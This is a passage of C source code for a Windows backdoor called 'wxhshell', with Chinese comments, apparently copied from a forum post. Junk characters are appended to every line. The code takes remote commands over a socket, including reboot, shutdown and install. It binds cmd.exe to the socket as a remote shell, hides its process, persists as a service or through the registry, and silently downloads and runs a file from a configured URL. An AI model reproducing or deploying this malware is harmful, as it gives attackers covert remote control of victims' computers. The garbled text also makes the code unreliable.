  oO4 Wwi  
  // 帮助 l*|^mx^Q  
  case '?': { !ACWv*pW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2>3gC_^go  
    break; e%'$Vx0kA  
  } :H$D-pbJ4  
  // 安装 6N&S3<c4JO  
  case 'i': { _|S>, D'  
    if(Install()) _ G!lQ)1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [y73 xF   
    else onM ~*E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ne<"o]_M  
    break; DGx9 \8^  
    } lGI5  
  // 卸载 6s833Tmb&r  
  case 'r': { 7R mL#f`  
    if(Uninstall()) av(d0E}}b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +b.qzgH>r  
    else VJX{2$L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 N?x29  
    break; s7C oUd2  
    } u:pdY'`"#  
  // 显示 wxhshell 所在路径 U n#7@8,  
  case 'p': { HM])m>KeT  
    char svExeFile[MAX_PATH]; JrTSu`S('  
    strcpy(svExeFile,"\n\r"); R$&|*0  
      strcat(svExeFile,ExeFile); |i"A!r W  
        send(wsh,svExeFile,strlen(svExeFile),0); sD$ \!7:b  
    break; )""i"/Mn  
    } OYJy;u3"  
  // 重启 {_1^ GIIS  
  case 'b': { Z1FO.[FV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zi23k=  
    if(Boot(REBOOT)) AF1";duA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <R7* 00  
    else { `)F lb|da  
    closesocket(wsh); eB78z@  
    ExitThread(0); @.gT&Hq  
    } _F^k>Lq&d  
    break; n*^g^gp  
    } zYdSg<[^  
  // 关机 ,9q=2V[GP  
  case 'd': { h'<}N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F_!6C-z  
    if(Boot(SHUTDOWN)) n37C"qJ/i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]<q{0.  
    else { $V~r*#$.  
    closesocket(wsh); kx 'ncxN~  
    ExitThread(0); &J_|P43  
    } z12[vN  
    break; pr\yc  
    } +vkqig  
  // 获取shell 5n r}5bum  
  case 's': { lnW/T--  
    CmdShell(wsh); Dn _D6H  
    closesocket(wsh); >U^AIaW  
    ExitThread(0); !arcQ:T@G  
    break; YWeEvo(,=  
  } +~=>72/r  
  // 退出 p 8BAan3  
  case 'x': { g# :|Mjgh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {a9Z<P  
    CloseIt(wsh); ??{(.`}R~  
    break; -8qLshQ  
    } 9Ps:]Kp!vN  
  // 离开 fcb:LPk;  
  case 'q': { Tfhg\++u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @QtJ/("&WC  
    closesocket(wsh); /a6\G.C5  
    WSACleanup(); *}3e'0`  
    exit(1); *Xt#04_  
    break;  r_]wa  
        } E$/`7p8)  
  } Z;XR%n8  
  } dY/=-ymW  
Y>EwU  
  // 提示信息 q|om^:n.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~R/7J{Sg  
} gE JmMh  
  } m:/@DZ  
%p"x|e  
  return; '/SMqmi  
} SxC$EQ gL  
$I-$X?  
// shell模块句柄 ExI?UGT  
int CmdShell(SOCKET sock) bXc7$5(!VB  
{ @g[p>t> *  
STARTUPINFO si; &529.>  
ZeroMemory(&si,sizeof(si)); VZF/2d84&w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WDKj)f9cy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e}f!zA  
PROCESS_INFORMATION ProcessInfo; eg) =^b  
char cmdline[]="cmd"; }_0?S0<#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9M~EH?>+[  
  return 0; hT^6Ifm  
} n<\^&_a  
X.xp'/d  
// 自身启动模式 W<yh{u&,  
int StartFromService(void) Q5r cPU>A  
{ KwWqsuju  
typedef struct TxwZA  
{ Pf6rr9  
  DWORD ExitStatus; W$N_GR'4  
  DWORD PebBaseAddress; X.,SXNS+B  
  DWORD AffinityMask; (SoV2[|  
  DWORD BasePriority; ;7 i0ko9  
  ULONG UniqueProcessId; > zh%CF$  
  ULONG InheritedFromUniqueProcessId; aCX](sN  
}   PROCESS_BASIC_INFORMATION; {{f%w$r(  
LcE!e%3  
PROCNTQSIP NtQueryInformationProcess; }@4m@_gR?  
B c*Rn3i@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j)C%zzBu(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <|Bh;;  
O9A.WSJ >}  
  HANDLE             hProcess; d4[M{LSl  
  PROCESS_BASIC_INFORMATION pbi; f&H):.  
~y_TT5+ 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +uKlg#wqc  
  if(NULL == hInst ) return 0; :74^?  
`f*?|)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2y#4rl1Utx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C#p$YQf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N+b" LZc  
:doP66["!  
  if (!NtQueryInformationProcess) return 0; gx4`pH;B\  
=i Rc&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X82sw>Y  
  if(!hProcess) return 0; DuZ51[3_L  
0+;.T1?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /81Ux@,(e  
`9s5 *;Z  
  CloseHandle(hProcess); rgB`< [:b  
9HRYk13ae  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J@H9nw+Q  
if(hProcess==NULL) return 0; D._q'v<  
8G1Tpn  
HMODULE hMod; zbx,qctYo$  
char procName[255]; Yj/S(4(h?  
unsigned long cbNeeded; #_QvnQ?I  
KZ`d3ad  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {_ww1'|A  
EHcqj;@m  
  CloseHandle(hProcess); ]$4k+)6  
%K;,qS'N_  
if(strstr(procName,"services")) return 1; // 以服务启动 "xa<Q%hk  
* ?rw'  
  return 0; // 注册表启动 Xl2Fgg}#  
} y{s?]hLk  
1*[h$Z&H?  
// 主模块 TPq5"mco  
int StartWxhshell(LPSTR lpCmdLine) b3H~a2"d  
{ NV9D;g$Y  
  SOCKET wsl; m!|u{<,R  
BOOL val=TRUE; 6t *pV [  
  int port=0; -/B}XN W  
  struct sockaddr_in door; CP|N2rb  
"\vEi &C  
  if(wscfg.ws_autoins) Install(); $[VKM|Zjw  
I(s\ Q[  
port=atoi(lpCmdLine); Od^y&$|_%`  
SBAq,F'  
if(port<=0) port=wscfg.ws_port; PD$ay^Y  
"|]'\4UdzQ  
  WSADATA data; 2!-ZNd:(+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LP7t*}PK  
C=h$8Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R8c1~'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :v* _Ay  
  door.sin_family = AF_INET; s IY`H^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  |UZ#2  
  door.sin_port = htons(port); k5$_Q#  
p;"pTGoW i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E&#AX:  
closesocket(wsl); vy,ER<  
return 1; FaPX[{_E  
} Jq l#z/z  
=~?2i)-mC  
  if(listen(wsl,2) == INVALID_SOCKET) { C^aP)& qt  
closesocket(wsl); Q SW03/_f  
return 1; gPT-zul  
} 245(ajxHC  
  Wxhshell(wsl); bkceR>h%  
  WSACleanup(); {K09U^JU  
@7" xDgA  
return 0; yj `b-^$?  
M9_ y>N[0  
} a,#f%#J\  
H(lq=M0~  
// 以NT服务方式启动 ..Zuy|?w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5:hajXd  
{ aM9^V MOb  
DWORD   status = 0; \%KJ +PJ  
  DWORD   specificError = 0xfffffff; ' 6Ybf  
1wW8D>f]K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x9a*^l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %Fa/82:- "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R N5\,>+  
  serviceStatus.dwWin32ExitCode     = 0; ]-bA{@tP.  
  serviceStatus.dwServiceSpecificExitCode = 0; PM=Q\0  
  serviceStatus.dwCheckPoint       = 0; ,LSF@1|Fx  
  serviceStatus.dwWaitHint       = 0; Agl5[{]E  
(WVN*OR?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]\v'1m"  
  if (hServiceStatusHandle==0) return; TF} <,aR  
rG:IS=  
status = GetLastError(); *%:p01&+  
  if (status!=NO_ERROR) ZC_b`q<  
{ c;xL.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d}EGI  
    serviceStatus.dwCheckPoint       = 0; VSx[{yn  
    serviceStatus.dwWaitHint       = 0; 1U;je,)  
    serviceStatus.dwWin32ExitCode     = status; |[>`3p"&  
    serviceStatus.dwServiceSpecificExitCode = specificError; |n \HxU3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MQ$[jOAqP  
    return; H2BD5  
  } 9b``l-rO  
f+}? $'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6;dQ#wmg  
  serviceStatus.dwCheckPoint       = 0; $LRvPan`  
  serviceStatus.dwWaitHint       = 0; s_hf,QH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0F8y8s  
} V9`VF O  
kUUN2  
// 处理NT服务事件,比如:启动、停止 E b-?wzh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~= lm91W  
{ WB'&W=  
switch(fdwControl) <K=:_  
{ O"<D0xzF?  
case SERVICE_CONTROL_STOP: 0vbn!<:  
  serviceStatus.dwWin32ExitCode = 0; SZpBbX$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pz,kSxe=  
  serviceStatus.dwCheckPoint   = 0; =<YG0K  
  serviceStatus.dwWaitHint     = 0; 2o] V q  
  { ~ k/'_1)c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _VMW-trG  
  } W2O =dG`  
  return; Lco JltY{5  
case SERVICE_CONTROL_PAUSE: t.t$6+"5We  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |g;hXr#~  
  break; ?SK1*; i  
case SERVICE_CONTROL_CONTINUE: !>TVDN>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4`o_r%   
  break; 3!_y@sWx  
case SERVICE_CONTROL_INTERROGATE: elG<\[  
  break; U; JZN  
};  \U(qv(T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F-R4S^eV  
} 1#qyD3K  
D.kLx@Z  
// 标准应用程序主函数 p[4KN(PyK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3 q^3znt  
{ jutEb@nog  
c/DB"_}!a  
// 获取操作系统版本 0.'$U}#b  
OsIsNt=GetOsVer(); z2vrV?:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OIGu`%~js  
-GLI$_lLF  
  // 从命令行安装 n2zJ'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 26B]b{Iz{  
gtHWd;1&f  
  // 下载执行文件 v#q7hw=  
if(wscfg.ws_downexe) { -Ob'/d5&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i^eU!^KF  
  WinExec(wscfg.ws_filenam,SW_HIDE); z|^:1ov,  
} 3,DUT{2  
:aI[ lZ  
if(!OsIsNt) { 1Jg&L~Ws"  
// 如果时win9x,隐藏进程并且设置为注册表启动 y2;uG2IS_g  
HideProc(); yDg`9q.ckm  
StartWxhshell(lpCmdLine); eU&[^  
} KC9_H>  
else %JeT,{  
  if(StartFromService()) ekND>Qjj  
  // 以服务方式启动 8iaP(*J  
  StartServiceCtrlDispatcher(DispatchTable); rz+)z:u  
else .aV#W@iyK  
  // 普通方式启动 Eyv%"+>  
  StartWxhshell(lpCmdLine); u|&"l  
as=Z_a:0N  
return 0; ghq[oK  
}
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只看该作者 1 发表于: 2006-10-10
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